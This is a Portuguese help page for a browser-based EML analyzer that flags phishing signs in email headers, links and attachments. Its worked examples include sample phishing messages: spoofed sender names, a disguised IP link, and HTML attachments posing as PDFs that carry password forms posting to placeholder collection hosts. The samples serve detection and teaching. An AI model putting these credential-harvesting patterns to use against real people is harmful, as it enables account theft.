E-mail

Analisador de arquivos EML

Execução localNova

A ferramenta em si está em inglês; esta página explica como usá-la no seu idioma.

Use Analisador de arquivos EML

O que ele faz

Solte um arquivo .eml ou cole o código-fonte de uma mensagem para verificar os cabeçalhos do remetente, a cadeia Received, os links e os anexos. Tudo roda no seu navegador.

Ele funciona inteiramente no seu navegador: nada do que você digitar é enviado.

Como usar Analisador de arquivos EML

  1. Obtenha a mensagem bruta. Salve o e-mail como .eml ou copie o código-fonte dele (Gmail: Mostrar original; Outlook: Exibir código-fonte da mensagem; Thunderbird ou Apple Mail: código-fonte da mensagem). Arquivos .msg do Outlook não são lidos.
  2. Carregue-a. Solte o arquivo .eml na caixa ou escolha-o (até 50 MB), ou cole o código-fonte no campo de texto (até 5 MB) e clique em Analyze (analisar).
  3. Leia o Summary. As constatações são separadas em sinais de perigo, avisos, notas e verificações aprovadas. Cada linha indica o cabeçalho, o link ou o anexo de onde vem.
  4. Confira os detalhes. Abaixo do resumo vêm os cabeçalhos do remetente, os domínios comparados com o domínio do From, os resultados de autenticação, a cadeia Received, cada link e cada anexo.
  5. Pegue os indicadores. Marque os tipos de indicador de que você precisa e copie-os brutos ou neutralizados, baixe-os como arquivo .txt ou use Send to.

Exemplo

Mensagem de phishing elaborada

Entrada
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
	by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
	dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
	by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
	by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"

--b1
Content-Type: text/html; charset=utf-8

<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64

PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
Saída (registrada em 2026-10-20)
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser

Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM	support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO	<billing[@]example[.]net>
RETURN-PATH	<bounce[@]mailer[.]example>
TO	<user[@]example[.]org>
SUBJECT	Action required: verify your account
DATE	Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID	<4471[@]mailer[.]example>
Domains compared with the From domain

From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.

HEADER	DOMAIN	COMPARED WITH FROM
Reply-To	example[.]net
…

Um nome de exibição que se passa por support@example.com, Reply-To e DKIM em outros domínios, DMARC fail, um link cujo texto mostra www.example.com mas que leva a login.example.net, e um anexo invoice.pdf.html com um formulário de senha.

O que ele verifica

SinalO que isso significa
Nome de exibição com um endereço de e-mailPerigo quando o nome mostra um endereço e o remetente real é outro. Os apps de e-mail costumam mostrar só o nome.
Reply-To em outro domínioUm aviso: a sua resposta iria para uma organização diferente da do remetente.
Authentication-ResultsDMARC fail e SPF fail são sinais de perigo; SPF softfail e DKIM fail são avisos. Só vale o resultado adicionado pelo seu próprio provedor.
Domínios de Return-Path e DKIM d=Anotados quando diferem do domínio do From. Isso é normal em serviços de e-mail em massa, mas o DMARC exige que um deles esteja alinhado.
Cadeia ReceivedOs saltos são listados do mais antigo para o mais recente, com atrasos. Um horário anterior ao do salto anterior, um atraso de mais de uma hora ou um DNS reverso "may be forged" são sinalizados.
Texto e destino do linkPerigo quando o texto visível indica um domínio e o link leva a outro, ou quando um texto antes do @ esconde o host real. IPs diretos, punycode, encurtadores e links encapsulados também são marcados.
AnexosExtensões duplas, arquivos que executam código ou abrem no navegador, conteúdo que não corresponde à extensão e truques de inversão da direita para a esquerda (right-to-left override) são sinalizados. Cada arquivo recebe SHA-256, SHA-1 e MD5.
Formulários e scripts em HTMLUm formulário com campo de senha no corpo ou em um anexo é sinal de perigo. Código de script dentro de um anexo é um aviso.

Mais exemplos

Um link que esconde um endereço IP

Entrada
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html

<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>
Resultado

1 sinal de perigo, "1 link: text before "@" is ignored: the real host is 203.0.113.7", e 1 aviso, "1 link: link goes to a bare IP address". A tabela Links mostra o endereço neutralizado ao lado do seu texto, Upgrade storage.

Uma página HTML que se passa por PDF

Entrada
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"

--b
Content-Type: text/plain

Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"

<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--
Resultado

2 sinais de perigo: o anexo invoice.pdf "contains a form with a password field", e seu "content is HTML document, not .pdf". O cartão do anexo mostra Content: HTML document e três hashes; a tabela Links lista o destino do formulário com "form submits data to this address".

Perguntas frequentes

O que o EML Analyzer verifica?

Ele decodifica os cabeçalhos e todas as partes MIME, compara os domínios de From, Reply-To, Return-Path, DKIM d= e Message-ID e lê o Authentication-Results. Ele também lista os saltos Received com seus atrasos, cada link com seu texto visível e o SHA-256, o SHA-1 e o MD5 de cada anexo.

Ele pode provar que um e-mail é phishing, ou que é seguro?

Não. Ele mostra fatos e sinais de alerta, não um veredito: e-mails legítimos em massa costumam ter Return-Path ou domínio DKIM diferentes, e as assinaturas DKIM são listadas, mas não verificadas criptograficamente. Arquivos .msg do Outlook não são suportados; salve a mensagem como .eml antes.

O e-mail é enviado a algum lugar?

Não. O arquivo é lido e analisado no seu navegador, o HTML é exibido como texto e nunca renderizado, e nada passa pela rede. O botão Send to passa um resultado para outra página de ferramenta pelo session storage do seu navegador.

Em qual cabeçalho Authentication-Results ele confia?

No adicionado pelo seu próprio sistema de e-mail, reconhecido pela cadeia Received e marcado como "added by the recipient's server". Cabeçalhos mais abaixo na mensagem podem ser escritos pelo remetente, então a página orienta a confiar só no resultado do seu provedor.

Ele consegue abrir um e-mail anexado a outro e-mail?

Sim. Uma mensagem anexada é listada com seus hashes e um botão "Analyze the attached message", que a abre na mesma visualização. "Back to the outer message" leva você de volta.

Por que alguns endereços IP não aparecem nos indicadores?

Endereços privados e locais e saltos dentro do próprio sistema de e-mail do destinatário ficam de fora, porque não apontam para os servidores do remetente. Endereços de e-mail dos destinatários também nunca são incluídos.

Explicação dos termos

Pesquisa do PhishDestroy